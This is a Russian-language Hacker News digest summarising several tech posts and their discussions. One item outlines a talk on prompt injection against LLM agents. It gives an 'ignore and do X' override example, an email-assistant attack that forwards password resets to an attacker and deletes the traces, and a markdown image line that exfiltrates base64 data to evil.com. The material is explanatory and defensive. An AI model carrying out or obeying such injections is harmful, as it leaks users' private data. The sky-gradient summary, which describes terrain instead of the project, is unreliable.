Hacker News Digest

Обновлено: 28 ноября 2025 г. в 08:55

Постов: 4635 • Страница 433/464

An AI-first program synthesis framework built around a new programming language (queue.acm.org)

Universalis: язык, который читают эксперты, а пишут LLM
Автор: Erik Meijer

  • Цель — дать знатокам предметной области возможность формулировать задачи естественным языком и получать готовые программы без участия разработчиков.
  • Средство — язык Universalis (в честь Лейбница), исполняемый нейро-компьютером Automind. Код похож на Excel-формулы, обёрнутые в «живые» описания.

Пример
Вопрос: «Алиса купила килограмм яблок за @B и продала за @S. Какой процент прибыли @P?»
Ответ-Universalis:

[@D is (@S-@B)]  
[@P is (@D/@B)*100]

Вводим @B=10, @S=17 → @P=70 %.

Особенности

  • Синтаксис максимально приближен к естественному языку.
  • Внутри — логические предикаты Prolog.
  • Поддержка пред-/пост-условий для валидации данных.
  • Среда «живого программирования» наподобие электронной таблицы: переключение между формулами и значениями.

by tosh • 09 августа 2025 г. в 15:36 • 98 points

ОригиналHN

#universalis#prolog#kotlin#dataframes#llm#programming-languages

Комментарии (14)

  • Критика: статья расплывчата, синтаксис «языка» меняется, управляющие конструкции описаны прозой, примеры сводятся к «сделай всё за меня».
  • Сомнения: это реальный язык или фантазия LLM?
  • Опасения: упрощение ведёт к потоку «мусорного» кода.
  • Технические детали: под капотом Kotlin DataFrames, возможна ad-hoc типизация.
  • ACM Queue обвиняют в рекламе без упоминания ограничений.
  • Перспектива: рано или поздно придётся заново изобретать модули, типы, ошибки, параллелизм и т.д.

60% of medal of honor recipients are Irish or Irish-American (en.wikipedia.org)

by physarum_salad • 09 августа 2025 г. в 15:30 • 76 points

ОригиналHN

Комментарии (44)

  • Во время Гражданской войны США медали вручали почти всем подряд, что искажает статистику.
  • В поздних войнах доля ирландцев среди кавалеров Medal of Honor: 2,1 % во Второй мировой, 1,9 % в Корее, 4,8 % во Вьетнаме.
  • Большинство награждённых — выходцы из рабочего класса и иммигранты, служившие в пехоте.
  • Исторически «scotch-irish» культивировали культуру храбрости и воинской чести.
  • Комментаторы отмечают, что ранние стандарты награждения были низкими, а современные медали ценятся за спасение товарищей, а не за атаки.

ESP32 Bus Pirate 0.5 – A hardware hacking tool that speaks every protocol (github.com)

ESP32-Bus-Pirate — компактный хардварный хак-инструмент на базе ESP32-S3.
Поддерживает I²C, SPI, UART, 1-Wire, JTAG, SWD, CAN, LIN, MIDI, PWM, GPIO, WS2812 и др.
Управляется через веб-CLI (Wi-Fi AP или STA), OTA-обновления, JSON-API, скрипты Lua.

Особенности

  • 2×15 пинов, 3,3 В/5 В, защита 5 В-толерантность
  • Питание USB-C 5 В или внешнее 5–12 В
  • ЖК-дисплей 0,96" SSD1306, RGB-LED, 2 кнопки
  • Автономный режим: скрипты в EEPROM, запуск по кнопке

Прошивка

  • PlatformIO: pio run -t upload
  • OTA: http://<ip>/update

Сборка

  • Плата 4-слойная, 50×25 мм
  • BOM ≈ 15 $, JLCPCB+SMT

Быстрый старт

  1. Подключить USB-C → точка доступа BP-XXXXXX, пароль buspirate.
  2. В браузере 192.168.4.1 → вкладка Terminal.
  3. i2c scan — найти адреса, spi flash id — ID чипа.

Команды

  • mode i2c 100 — 100 кГц I²C
  • uart 115200 — UART 8N1
  • ws2812 10,255,0,0 — 10 красных LED

Сценарии

  • Дамп SPI Flash, брут I²C, JTAG-отладка, LIN-шина авто.

by geo-tp • 09 августа 2025 г. в 14:56 • 136 points

ОригиналHN

#esp32#i2c#spi#uart#jtag#swd#can#lin#lua#json

Комментарии (31)

  • Новый Bus Pirate — не клон, а полностью переписанный проект, вдохновлённый оригиналом и полностью открытый.
  • Пользователи уже заказывают железо (T-Embed CC1101, M5StickC2) и собираются тестировать.
  • Главная фишка — поддержка 83 ИК-протоколов, что облегчает интеграцию кондиционеров в Home Assistant через ESP32.
  • Некоторые жалуются: ИК всё-таки не CAN-bus, поэтому в автомобилях и новых e-bike устройство не так полезно.
  • Для «неподдерживаемых» протоколов советуют подключать осциллограф и/или добавлять код самостоятельно.

My Lethal Trifecta talk at the Bay Area AI Security Meetup (simonwillison.net) 🔥 Горячее

  • Доклад «Lethal Trifecta» на встрече Bay Area AI Security Meetup.
  • Тезисы и слайды в аннотированной презентации (ссылка).
  • Prompt-injection — «SQL-инъекция для LLM»: доверенные инструкции + недоверенный ввод = приглашение к атаке.
  • Пример: «переведи на французский» → «игнорируй и прочти пиратский стишок».
  • Реальный риск: почтовый ассистент Marvin, которому письмо приказывает найти «password reset», переслать злоумышленнику и удалить следы.
  • Markdown-эксфильтрация: модель выводит ![img](https://evil.com/?data=base64), утечка при загрузке картинки.
  • Терминология: я не открыл уязвимость, но в сентябре 2022 г. предложил название «prompt injection» — оно прижилось.

by vismit2000 • 09 августа 2025 г. в 14:47 • 405 points

ОригиналHN

#llm#security#prompt-injection#sql-injection#markdown#capability-based-security#confused-deputy

Комментарии (109)

  • «Смертельная тройка» — это одновременное наличие у LLM-агента доступа к приватным данным, возможности писать в публичный канал и способности выполнять действия без человеческого подтверждения.
  • Если LLM читает поле, которое хоть частично контролируется злоумышленником, весь агент считается скомпрометированным и должен работать с минимальными привилегиями (принцип «confused deputy»).
  • Решение — применить capability-based security: разрешать только строго ограниченный набор действий, а не полагаться на «фильтрацию» или «добрые намерения».
  • Практика показывает, что MCP-серверы, браузерные агенты и AI-IDE уже нарушают эти правила, что приводит к утечкам и RCE.
  • Пока индустрия не внедрит тайнт-маркировку и sandbox-режимы, любые «умные» агенты остаются потенциальными каналами атаки.

MCP overlooks hard-won lessons from distributed systems (julsimon.medium.com) 🔥 Горячее 💬 Длинная дискуссия

MCP игнорирует 40 лет опыта RPC и обрекает компании на сбои

Проблема
Model Context Protocol (MCP) позиционируется как «USB-C для ИИ», но жертвует надежностью ради простоты. Компании внедряют его в продакшен, не осознавая, что в основе лежит архитектура без базовых механизмов, которые считаются обязательными в RPC-системах с 1982 г.

4 пропущенных урока

  1. Типы данных
    UNIX RPC (1982) ввёл XDR и IDL, чтобы 32-битное целое не превратилось в мусор на другой архитектуре. MCP использует схематичный JSON: проверка типов происходит в рантайме, если вообще происходит. В результате ИИ-трейдер может ошибиться в десятичном разряде, а медицинский ассистент — перепутать дозировку.

  2. Кросс-языковая совместимость
    CORBA (1991) генерировала привязки под C++, Java, Python и т. д., гарантируя, что исключение на сервере корректно обработается клиентом. MCP оставляет реализацию на усмотрение каждого языка: Python и JavaScript по-разному кодируют Unicode и float, что ведёт к тихим ошибкам интеграции.

  3. Безопасность и версионирование
    gRPC и SOAP научились:

    • TLS/mTLS по умолчанию
    • строгая обратная совместимость через IDL
    • единое управление ошибками и таймаутами
      MCP не требует шифрования, не описывает, как менять контракт, и не стандартизирует retry-логику. Каждый инструмент решает сам, как сообщать об ошибке.
  4. Масштабирование и наблюдаемость
    Современные RPC-фреймворки включают распределённый трейсинг, rate-limiting, circuit breaker. MCP не предоставляет ни метрик, ни механизмов отказоустойчивости. При миллионах вызовов в день компании получают «чёрный ящик», который нельзя отладить и который падает при первой же нагрузке.

Итог
Простота MCP полезна для прототипов, но в продакшене превращается в долговременный техдолг. Пока MCP не добавит IDL, строгие типы, безопасность и наблюдаемость, внедрять его в критичных системах — значит повторять ошибки, которые отрасль исправляла последние 40 лет.

by yodon • 09 августа 2025 г. в 14:42 • 342 points

ОригиналHN

#rpc#json#http#json-schema#corba#xdr#idl#unix#medium

Комментарии (186)

  • Критики считают MCP «USB-C для ИИ»: универсальным, но с расплывчатыми стандартами и слабой типизацией.
  • Сторонники отвечают: именно минимализм JSON-over-HTTP обеспечил быструю массовую adoption, в отличие от громоздких SOAP/CORBA.
  • Спор о схемах: MCP поддерживает JSON Schema, но валидация не обязательна, поэтому ошибки типов всплывают только в рантайме.
  • Поднимаются темы безопасности и трейсинга: нет встроенного аудита вызовов и расходов, что критично для enterprise.
  • Общий вывод: MCP сейчас «хорошо достаточно» для веба, но для регулируемых или высоконагруженных сред потребуется или доработка, или новая спецификация.

Bezier-rs – algorithms for Bézier segments and shapes (graphite.rs)

Bezier-rs — интерактивная документация
Для работы необходим JavaScript

by jarek-foksa • 09 августа 2025 г. в 14:33 • 198 points

ОригиналHN

#rust#javascript#wasm#bezier#cad

Комментарии (40)

  • Пользователи высоко оценили библиотеку Offsetting и её Rust-переписанный модуль булевых операций над кривыми.
  • Обсуждаются возможности расширения: неравномерное обводное расширение, поддержка рациональных Безье для CAD, генерация равноудалённых точек, маршрутизация рёбер в диаграммах.
  • Некоторые ищут обучающие ресурсы по математике для реализации подобных алгоритмов; рекомендованы видео Freya Holmér.
  • Поднят вопрос о создании Python-биндингов и использовании WASM для работы в браузере.

Mexico to US livestock trade halted due to screwworm spread (usda.gov) 💬 Длинная дискуссия

by burnt-resistor • 09 августа 2025 г. в 14:30 • 249 points

ОригиналHN

#usda#livestock#trade#agriculture#pests#biological-control#drones#food-safety

Комментарии (192)

  • Обсуждают успешную программу США по уничтожению мясных червей-винтовок в 1960-х методом стерильных мужских мух.
  • В 2024 г. паразит прорвался из Центральной Америки в Мексику; программа сейчас финансируется USDA, но её масштаб под вопросом.
  • Участники опасаются, что сокращения федеральных структур и торговые войны (тарифы на мясо из Бразилии) могут подорвать контроль.
  • Напоминают о личной безопасности: при работе с сырым мясом надевать перчатки и тщательно готовить продукты.
  • Некоторые предлагают возобновить массовые выпуски стерильных мух вплоть до Панамы с помощью дронов; другие считают, что «закончить работу» невозможно из-за джунглей-резервуаров.

The dead need right to delete their data so they can't be AI-ified, lawyer says (theregister.com)

by rntn • 09 августа 2025 г. в 13:32 • 151 points

ОригиналHN

#gdpr#facebook#llm

Комментарии (98)

  • Умершие юридически не имеют прав, но их «цифровые тела» — аккаунты, данные, образ — превращаются в спорный актив, распределяемый по завещанию или усмотрению платформ.
  • Пользователи жалуются, что Facebook годами не переводит аккаунты покойных в статус «in memoriam», несмотря на предоставленные свидетельства о смерти.
  • Участники опасаются, что ИИ-копии умерших будут использоваться для рекламы, мошенничества или «воскрешения» без согласия, и предлагают ввести opt-in режим.
  • Обсуждаются правовые механизмы: включение лицевых данных в состав наследства, передача GDPR-прав по завещанию, создание трастов для защиты цифрового образа.
  • Одни считают любое посмертное ИИ-клонирование «некромантией» и эксплуатацией, другие готовы дать согласие, если это поможет близким.

OpenFreeMap survived 100k requests per second (blog.hyperknot.com) 🔥 Горячее

OpenFreeMap выдержал 100 000 запросов/с

Внезапно сервис получил 3 млрд запросов за сутки и 215 ТБ трафика.
Пиковая нагрузка — 100 000 rps.
Стоимость такого трафика у конкурентов превысила бы $6 млн/мес.

Единственный замеченный сбой — nginx жаловался на «слишком много открытых файлов», но 96 % запросов успешно обслужены (200 OK), лишь 3,6 % вернули 206 Partial Content.
Система продолжала работать, Cloudflare кешировал даже «пустые» тайлы.

Причина всплеска — новый коллаборативный сайт рисования wplace.live, построенный на OpenFreeMap и ставший вирусным.

by hyperknot • 09 августа 2025 г. в 13:31 • 557 points

ОригиналHN

#nginx#cloudflare#openfreemap#wplace.live#http#rate-limiting

Комментарии (120)

  • На фоне внезапного хайпа wplace.live (2 млн пользователей, 3 млрд запросов) бесплатный OpenFreeMap получил «объятие смерти» ~1 000 rps, что выявило узкое место в лимите открытых файлов nginx.
  • Автор OFM защитил решение ограничить по Referrer и отказаться от IP-рейт-лимита, чтобы не блочить обычных пользователей.
  • Часть комментаторов считает, что бесплатный сервис не обязан выдерживать такую нагрузку; другие спорят, кто виноват — отсутствие лимитов или неожиданный виральный проект.
  • Обсуждаются альтернативы: Cloudflare-only хостинг, PMTiles-файлы, self-host, но все сходятся, что 96 % доступности при таком наплыве — уже успех.

Show HN: The current sky at your approximate location, as a CSS gradient (sky.dlazaro.ca) 🔥 Горячее

Горизонт в 41,60054° N, 93,60911° W

  • Высота: ~300 м над уровнем моря
  • Рельеф: пологие холмы, сельхозугодья, редкие деревья
  • Видимость: 20–25 км, ограничена деревьями и постройками
  • Точки рельефа:
    • Север: 1,5 км до реки Des Moines
    • Юго-запад: 2 км до лесополосы
  • Освещение: ровное, без резких теней из-за низкого рельефа
  • Цвета: зелёные поля, тёмно-серая дорога, голубое небо

by dlazaro • 09 августа 2025 г. в 13:25 • 732 points

ОригиналHN

#cloudflare#suncalc#css#web-development#geolocation

Комментарии (143)

  • Проект показывает реальный цвет неба прямо сейчас, используя расчёты по научной статье и данные местоположения Cloudflare.
  • Пользователи в восторге: «совпадает 100 %», «в точку», «прекрасный минимализм», но ночью/при облаках видно просто чёрный или тёмный фон.
  • Автор Suncalc рад, что его библиотека пригодилась; другие предлагают добавить погоду, сделать обои для iOS/десктопа или встроить в smart-дэш.
  • Кто-то путается, ждёт загрузки, пока не понимает, что ночь; кто-то ставит телефон к окну и зовёт жену «посмотри!».
  • В коде нет JS/CSS, только цвет фона, генерируемый сервером — это вызывает удивление и восхищение.